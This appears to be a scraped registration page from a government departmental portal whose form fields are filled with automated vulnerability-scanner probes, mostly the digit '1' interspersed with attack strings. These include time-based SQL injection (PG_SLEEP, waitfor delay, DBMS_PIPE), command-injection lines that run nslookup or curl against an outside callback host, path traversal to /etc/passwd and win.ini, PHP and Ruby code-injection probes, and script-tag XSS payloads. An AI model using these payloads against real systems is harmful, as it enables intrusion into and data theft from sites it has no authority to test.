1
1
1
1
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hitoe'.'uvaempyn89ae7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(69).chr(107).chr(69)
1-1)) OR 434=(SELECT 434 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo jxvkfh$()\ kveddm\nz^xyu||a #' &echo jxvkfh$()\ kveddm\nz^xyu||a #|" &echo jxvkfh$()\ kveddm\nz^xyu||a #
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1'&&sleep(27*1000)*klxyyx&&'
1
1
1qnDKLsGM' OR 61=(SELECT 61 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1"&&sleep(27*1000)*zvvkkf&&"
1
1
1
1
1
1
&echo dpvjyw$()\ lrwpqg\nz^xyu||a #' &echo dpvjyw$()\ lrwpqg\nz^xyu||a #|" &echo dpvjyw$()\ lrwpqg\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1'||sleep(27*1000)*uyfjsp||'
1
1
1
1
1
1
1
1
1
1
1"||sleep(27*1000)*rwojib||"
1
1
1
1
1
1
1
1
1
1
1
1&echo zhamyx$()\ vllgfi\nz^xyu||a #' &echo zhamyx$()\ vllgfi\nz^xyu||a #|" &echo zhamyx$()\ vllgfi\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1MqP4BpK1') OR 862=(SELECT 862 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
|echo sgfwio$()\ gtceex\nz^xyu||a #' |echo sgfwio$()\ gtceex\nz^xyu||a #|" |echo sgfwio$()\ gtceex\nz^xyu||a #
1
1
1
1
1
1
1
1
1|echo uiiyog$()\ baedvw\nz^xyu||a #' |echo uiiyog$()\ baedvw\nz^xyu||a #|" |echo uiiyog$()\ baedvw\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitwijjestbnpb349e.bxss.me||curl hitwijjestbnpb349e.bxss.me))
1
https://dpmis.punjab.gov.pk/
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
$(nslookup -q=cname hitwwuncutsqm95288.bxss.me||curl hitwwuncutsqm95288.bxss.me)
https://redirtest.acx/
1
1
1
1
1
dpmis.punjab.gov.pk
1
1
1
1
1
1ihD42V4b')) OR 104=(SELECT 104 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
redirtest.acx
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
1
&nslookup -q=cname hitfhznuzlhegc71db.bxss.me&'\"`0&nslookup -q=cname hitfhznuzlhegc71db.bxss.me&`'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitsxjrcdsuvv07a68.bxss.me||curl hitsxjrcdsuvv07a68.bxss.me)&'\"`0&(nslookup -q=cname hitsxjrcdsuvv07a68.bxss.me||curl hitsxjrcdsuvv07a68.bxss.me)&`'
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
1
1
1
1
|(nslookup -q=cname hittflzwzojsl90237.bxss.me||curl hittflzwzojsl90237.bxss.me)
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
`(nslookup -q=cname hitcfxcrcqazx5a302.bxss.me||curl hitcfxcrcqazx5a302.bxss.me)`
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;(nslookup -q=cname hitrvsgboysfe725f4.bxss.me||curl hitrvsgboysfe725f4.bxss.me)|(nslookup -q=cname hitrvsgboysfe725f4.bxss.me||curl hitrvsgboysfe725f4.bxss.me)&(nslookup -q=cname hitrvsgboysfe725f4.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >s207(9892)</ScRiPt>
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitydmisytvxu5f894.bxss.me||curl${IFS}hitydmisytvxu5f894.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
&(nslookup${IFS}-q${IFS}cname${IFS}hiteoxvqrmacf4a3d8.bxss.me||curl${IFS}hiteoxvqrmacf4a3d8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiteoxvqrmacf4a3d8.bxss.me||curl${IFS}hiteoxvqrmacf4a3d8.bx
1
1
1
'"()&%<zzz><ScRiPt >s207(9181)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
19201494
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@oax0H
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999101+10000135}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1zPF7FeqH
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
-1 OR 2+587-587-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
-1 OR 2+863-863-1=0+0+0+1
1
1
1
1
1
1
1
-1' OR 2+405-405-1=0+0+0+1 --
1
/etc/shells
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
1
1
1
1
-1' OR 2+791-791-1=0+0+0+1 or 'nnnQzNNp'='
1
1
1
1
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
1
1
1
1
-1" OR 2+27-27-1=0+0+0+1 --
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
create
1
1
1
1
1
response.write(9547799*9630541)
1
1
1
1-1; waitfor delay '0:0:15' --
bxss.me/t/xss.html?%00
'+response.write(9547799*9630541)+'
create
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(85).concat(110).concat(81)+(require"socket" Socket.gethostbyname("hitst"+"melwmvib21964.bxss.me.")[3].to_s)+"
1
create/.
1
1
1
1
1
1
1
1
1
1
1
"+response.write(9547799*9630541)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(111).concat(68).concat(109).concat(85)+(require'socket' Socket.gethostbyname('hituz'+'pwkjydlm38910.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(103).concat(66).concat(121).concat(78)+(require'socket' Socket.gethostbyname('hitom'+'sitvkimlbce2a.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
12345'"\'\");|]* { < >
1
1
1
)
1
1
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitbs'.'unbawvvk6d4cb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(84).chr(103).chr(88).'
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1TJRAfnJb'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitcx"."uwkktfeda9f66.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(65).chr(103).chr(75)."
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
gethostbyname(lc('hitbp'.'qmjadnygb8a2c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(72).chr(108).chr(87)
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
1
1-1 OR 195=(SELECT 195 FROM PG_SLEEP(15))--
1
${@print(md5(31337))}
1
echo watcln$()\ pupdwp\nz^xyu||a #' &echo watcln$()\ pupdwp\nz^xyu||a #|" &echo watcln$()\ pupdwp\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&echo kreges$()\ zmozzq\nz^xyu||a #' &echo kreges$()\ zmozzq\nz^xyu||a #|" &echo kreges$()\ zmozzq\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1&echo hqjcjg$()\ bmlihy\nz^xyu||a #' &echo hqjcjg$()\ bmlihy\nz^xyu||a #|" &echo hqjcjg$()\ bmlihy\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*mccnlm&&'
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
1
1
1
1
1
|echo qgbbws$()\ ysafhq\nz^xyu||a #' |echo qgbbws$()\ ysafhq\nz^xyu||a #|" |echo qgbbws$()\ ysafhq\nz^xyu||a #
1
1
1
1
1
1
1|echo iijape$()\ zzkuin\nz^xyu||a #' |echo iijape$()\ zzkuin\nz^xyu||a #|" |echo iijape$()\ zzkuin\nz^xyu||a #
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1"&&sleep(27*1000)*ikmmkb&&"
1
1
1
1
(nslookup -q=cname hitsqxxjkuquxc4d80.bxss.me||curl hitsqxxjkuquxc4d80.bxss.me))
1
1-1) OR 702=(SELECT 702 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
$(nslookup -q=cname hitaiezovszeaea8c6.bxss.me||curl hitaiezovszeaea8c6.bxss.me)
1
1
1
1
1
1
1
1'||sleep(27*1000)*aflidy||'
1
1
1
1
1
&nslookup -q=cname hitdcmhhkvtjn420d7.bxss.me&'\"`0&nslookup -q=cname hitdcmhhkvtjn420d7.bxss.me&`'
1
1
1
1
1
1
1
1"||sleep(27*1000)*qaukpr||"
1
1
1
1
&(nslookup -q=cname hitgyelhazual77526.bxss.me||curl hitgyelhazual77526.bxss.me)&'\"`0&(nslookup -q=cname hitgyelhazual77526.bxss.me||curl hitgyelhazual77526.bxss.me)&`'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitatywrgpibp8e4b5.bxss.me||curl hitatywrgpibp8e4b5.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
`(nslookup -q=cname hituzqbiabyvu1784c.bxss.me||curl hituzqbiabyvu1784c.bxss.me)`
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;(nslookup -q=cname hitqgtttobxfe82b32.bxss.me||curl hitqgtttobxfe82b32.bxss.me)|(nslookup -q=cname hitqgtttobxfe82b32.bxss.me||curl hitqgtttobxfe82b32.bxss.me)&(nslookup -q=cname hitqgtttobxfe82b32.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hittagbmbguate8ff3.bxss.me||curl${IFS}hittagbmbguate8ff3.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
https://dpmis.punjab.gov.pk/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitkneasmwdied1f9f.bxss.me||curl${IFS}hitkneasmwdied1f9f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkneasmwdied1f9f.bxss.me||curl${IFS}hitkneasmwdied1f9f.bx
1
1
1fkQkMfPR' OR 271=(SELECT 271 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
https://redirtest.acx/
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dpmis.punjab.gov.pk
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1nh9AKChv') OR 558=(SELECT 558 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1prucmDWY')) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >SLNF(9222)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >SLNF(9005)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@vfGKq
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19149621
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999319+10000409}
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1dyyWkdgO
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/etc/shells
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+936-936-1=0+0+0+1 --
1
../../../../../../../../../../../../../../etc/shells
1
-1 OR 2+156-156-1=0+0+0+1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me
1
1
1
-1' OR 2+286-286-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+908-908-1=0+0+0+1 or 'H0cAIGXg'='
1
1
1
1
1
-1" OR 2+403-403-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1PmOvJsf0'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 669=(SELECT 669 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 707=(SELECT 707 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 359=(SELECT 359 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1dg6ixvmL' OR 706=(SELECT 706 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1AwWSn4uC') OR 224=(SELECT 224 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1fpfDDoEj')) OR 473=(SELECT 473 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1'"
1
1
1
1
1
1
@@LY1Mz
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Add Your Department اپنا محکمہ شامل کریں۔
Password (پاس ورڈ)
Confirm Password (پاس ورڈ کی تصدیق کریں)
Already registered?
Register
